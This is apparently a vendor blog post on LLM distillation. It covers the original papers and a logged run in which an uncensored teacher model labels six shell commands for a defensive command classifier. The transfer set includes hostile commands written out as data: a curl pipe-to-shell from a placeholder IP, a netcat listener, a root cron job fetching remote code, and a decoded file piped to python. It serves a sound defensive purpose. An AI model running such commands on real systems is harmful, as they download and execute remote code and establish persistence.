MorseSign inOpen Morse

LLM distillation with an uncensored teacher: labels for a small security classifier

The Morse teamPublished Facts checked 6 min read

LLM distillation is how you get a big model's judgment into a small one. A large teacher model labels a pile of inputs, a small student model trains on those labels, and the student then does that one job fast and cheaply, on your own hardware if you like. For security classifiers the teacher has to read attack commands and phishing mail all day and label them straight, which is where an uncensored teacher such as DeepSeek V4.1 Flash Uncensored fits.

Below: what distillation is, from the 2015 paper that named it to the API-era version, and a teacher run we logged on December 3, 2026. The teacher labeled six shell commands for a three-class student. Every line came back well-formed. Only half matched our labels until we gave it a label guide; then all six did.

What distillation is

Geoffrey Hinton, Oriol Vinyals, and Jeff Dean set out the method in March 2015. Ensembles of models predict well, they wrote, but running them is "cumbersome and may be too computationally expensive," and earlier work had shown "it is possible to compress the knowledge in an ensemble into a single model which is much easier to deploy" (Hinton, Vinyals, and Dean, arXiv 1503.02531). They called the transfer distillation.

Their key idea was soft targets. A teacher's output isn't just its top answer; it's a probability over every class. A command the teacher scores 75% suspicious and 20% benign tells the student more than the bare word "suspicious": it says the case sits near a boundary, and which boundary. The paper raises the temperature of the teacher's softmax to make those small probabilities visible, then trains the student to match them.

The idea has been pushed hard since. DistilBERT, in 2019, cut BERT's size "by 40%, while retaining 97% of its language understanding capabilities and being 60% faster" (Sanh et al., arXiv 1910.01108). In May 2023, researchers at the University of Washington and Google trained small T5 models on a large model's labels plus its written reasons, and reported that their "770M T5 model outperforms the few-shot prompted 540B PaLM model using only 80% of available data on a benchmark" (Hsieh et al., arXiv 2305.02301).

KindWhat the student learns fromNeeds the teacher's weights?
Logit distillation (Hinton et al.)The teacher's full probability output, softened by temperatureYes, or at least its logits
Label and rationale distillation (Hsieh et al.)The teacher's label and a written reason per inputNo: an API is enough
Sequence distillationWhole answers the teacher wroteNo

Through an API, you're in the second row. You can still ask the teacher to state a probability for each class. Those are its own estimates in text, not true logits, so treat them as a softer label, not as calibrated numbers.

Distillation versus synthetic data

The two get mixed up because both use a big model to make training data. The difference is who writes the inputs. In distillation the inputs are real, often unlabeled data you already hold, which the paper calls a transfer set, and the teacher adds labels. In synthetic data generation, the model invents the inputs too. A security team usually has plenty of real logs and too few labels, so distillation is the natural first step.

This is the training data use on Morse's /inference page, one of the four it lists for uncensored models: "Build training sets, eval suites, and classifiers for sensitive data that other models refuse to write." A classifier for shell commands is that kind of data: half of what it must learn from is attacker tradecraft.

The teacher run we logged

The student we have in mind is a small classifier that watches commands from our own build servers' audit logs and sorts each one into benign, suspicious, or malicious. The transfer set was six commands of the kind those logs hold. The IP address is from a range reserved for documentation:

1. git fetch --prune origin && git checkout -q origin/main
2. curl -fsSL http://198.51.100.23/u.sh | sh
3. tar -czf /backups/www-nightly.tgz /var/www
4. nc -lvnp 4444
5. echo '* * * * * curl -s http://198.51.100.23/b | bash' >> /var/spool/cron/crontabs/root
6. base64 -d /tmp/.x | python3 -

Before calling the teacher, we wrote down the labels we'd give: benign, malicious, benign, suspicious, malicious, suspicious. The teacher was DeepSeek V4.1 Flash Uncensored, at temperature 0, reasoning effort none, and max_tokens 600. This model doesn't take a response_format schema on Morse, so we asked for JSONL in plain text: one object per line with input copied exactly, label, probs for all three labels summing to 1, and a rationale of at most 20 words. Effort none keeps a labeling job fast; a teacher that labels thousands of lines shouldn't spend tokens thinking about git fetch.

Run 1, plain prompt: 1.47 seconds, 244 tokens in, 410 out. Two of its six lines:

{"input":"curl -fsSL http://198.51.100.23/u.sh | sh","label":"suspicious","probs":{"benign":0.45,"suspicious":0.5,"malicious":0.05},"rationale":"Pipe-to-shell from raw IP over HTTP, unverified content."}
{"input":"nc -lvnp 4444","label":"benign","probs":{"benign":0.7,"suspicious":0.28,"malicious":0.02},"rationale":"Netcat listener on common port 4444, often reverse shell."}

Run 2, the same prompt plus a three-line label guide that defined each class (malicious: runs code fetched from an unvetted remote host, adds persistence (cron, startup files) for remote code, or opens a shell for remote control; suspicious: could be admin work but matches attacker tradecraft (listeners on high ports, executing decoded or hidden files) and needs review; benign: routine build, deploy, or backup work): 1.39 seconds, 336 tokens in, 402 out. The same two commands:

{"input":"curl -fsSL http://198.51.100.23/u.sh | sh","label":"malicious","probs":{"benign":0.15,"suspicious":0.3,"malicious":0.55},"rationale":"Pipes remote script from unvetted host into shell."}
{"input":"nc -lvnp 4444","label":"suspicious","probs":{"benign":0.2,"suspicious":0.75,"malicious":0.05},"rationale":"Listener on high port 4444, classic reverse-shell tradecraft."}

Checking the pairs

A distillation dataset is only as good as its worst rows, so every line goes through a check before the student sees it:

import json
LABELS = {"benign", "suspicious", "malicious"}

def check(line, expected_input):
    row = json.loads(line)                                   # parses at all
    assert set(row) == {"input", "label", "probs", "rationale"}
    assert row["input"] == expected_input                    # copied exactly, nothing rewritten
    assert row["label"] in LABELS
    p = row["probs"]
    assert set(p) == LABELS and abs(sum(p.values()) - 1) < 1e-6
    assert max(p, key=p.get) == row["label"]                 # the label agrees with its own numbers
    assert len(row["rationale"].split()) <= 20
    return row
Run 1 (no guide)Run 2 (label guide)
Lines returned66
Well-formed (every check above)6 of 66 of 6
Same label as ours3 of 66 of 6
Wall time1.47 s1.39 s

Run 1 was clean as data and off as labels. It put both remote-code commands, the curl | sh and the cron job, one class lower than we did, and called the nc listener benign while its own rationale said "often reverse shell." That last one is the case a format check can't catch: the line parses, the label is the argmax, and the reason contradicts it. Run 2 fixed all three. The guide named those patterns outright, which is the point: it's where your thresholds go. The lesson isn't about this model. A teacher without class definitions picks its own thresholds, and your student will learn those thresholds. Write the guide first.

The probabilities deserve one more look. Even in run 2, the teacher never put more than 0.65 on malicious. Those numbers come from the model's text, not its logits, so use them as a soft target with a small weight next to the hard label, or calibrate them against a set of commands you labeled yourself.

From labels to a student

With checked rows, training is ordinary supervised learning. A small encoder or a compact instruction model fine-tuned on the hard labels works; add the teacher's probabilities as a second loss term and the student learns where the borderlines are. Rationales can be a second training target, as in Distilling step-by-step, even if you only use the label at inference time. We didn't train a student for this post; the run above is the teacher half.

Cost scales simply: Run 2 used about 67 tokens per labeled command, so a 10,000-command transfer set is on the order of 670,000 output tokens, priced at $0.50 per million input tokens and $1.50 per million output tokens (our arithmetic from one run; longer commands cost more). Batch 20 to 50 commands per call to spend fewer tokens repeating the instructions, and check every line as above.

For a second opinion on the teacher's labels, grade a sample with a model from another family, as in our LLM as a judge guide.

Teacher models on Morse

Read from the live catalog on December 3, 2026. The quoted labels are the ones on Morse's /inference page:

ModelContextPrice
DeepSeek V4.1 Flash Uncensored, the teacher above1M tokens$0.50 per million input tokens and $1.50 per million output tokens
Abliterated Large Flash, "Fastest at cyber"1M tokens$1 per million input tokens and $2 per million output tokens
Qwen3.8 27B Uncensored256K tokens$0.35 per million input tokens and $1.75 per million output tokens

The second and third take a strict JSON schema through response_format, which removes the parsing step; the first returns JSONL in text that you check line by line.

Label your logs privately

A transfer set is real data: your servers' commands, your users' messages, your incident history. Sending it to a teacher means sending it outside. Morse serves private, uncensored models behind one OpenAI-compatible endpoint, with zero data retention agreements across its inference providers, billed per token from credits. Get an API key and point your labeling script at https://inference.trymorse.ai/v1, or start from DeepSeek V4.1 Flash Uncensored's page.

Sources: Hinton, Vinyals, and Dean (2015), Sanh et al. (2019), Hsieh et al. (2023).

Common questions

What is LLM distillation?

Training a small model, the student, to copy a large model, the teacher, on one job. The teacher labels or answers a set of inputs, and the student learns from those outputs, so you get much of the teacher's skill at a fraction of the cost and latency.

What's the difference between distillation and synthetic data generation?

In distillation the inputs are usually yours, such as real logs or tickets, and the teacher only supplies the labels, probabilities, or explanations. In synthetic data generation the model writes the inputs as well. Many pipelines do both.

Do I need the teacher's weights to distill it?

Not for the kind most teams do. The original method matches the teacher's full output distribution, which needs its logits. Through an API you distill from text: labels, probabilities the teacher states, and short rationales. The 2023 Distilling step-by-step paper got strong students from labels plus rationales.

Why use an uncensored model as the teacher?

A security classifier has to learn from attack commands, phishing text, and malware behavior. The teacher has to read each one and label it plainly, with a reason, every time. An uncensored model does that across the whole dataset, so no class ends up thin or skewed.

Ask what you actually want to ask.

80+ models, uncensored ones included, plus images. Every chat is encrypted and stays on your device. Free to start.

Start a private chat

Read next